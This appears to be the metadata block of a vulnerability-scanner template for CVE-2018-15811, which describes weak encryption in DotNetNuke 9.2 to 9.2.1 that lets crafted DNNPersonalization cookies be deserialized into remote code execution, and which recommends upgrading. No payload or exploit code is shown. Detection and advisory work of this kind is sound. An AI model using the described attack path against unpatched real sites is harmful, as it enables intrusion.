DotNetNuke 9.2 - 9.2.1 - Weak Encryption & Cookie Deserialization

id: CVE-2018-15811

info:
  name: DotNetNuke 9.2 - 9.2.1 - Weak Encryption & Cookie Deserialization
  author: pdteam
  severity: high
  description: |
    DNN (DotNetNuke) versions 9.2 through 9.2.1 use a weak encryption algorithm to protect input parameters. This cryptographic weakness enables attackers to craft malicious DNNPersonalization cookies that can be deserialized, leading to remote code execution.
  impact: |
    Attackers can exploit weak encryption to decrypt or tamper with input parameters and execute arbitrary code through cookie deserialization attacks.
  remediation: |
    Update to DotNetNuke version 9.2.2 or later which addresses the weak encryption issues.
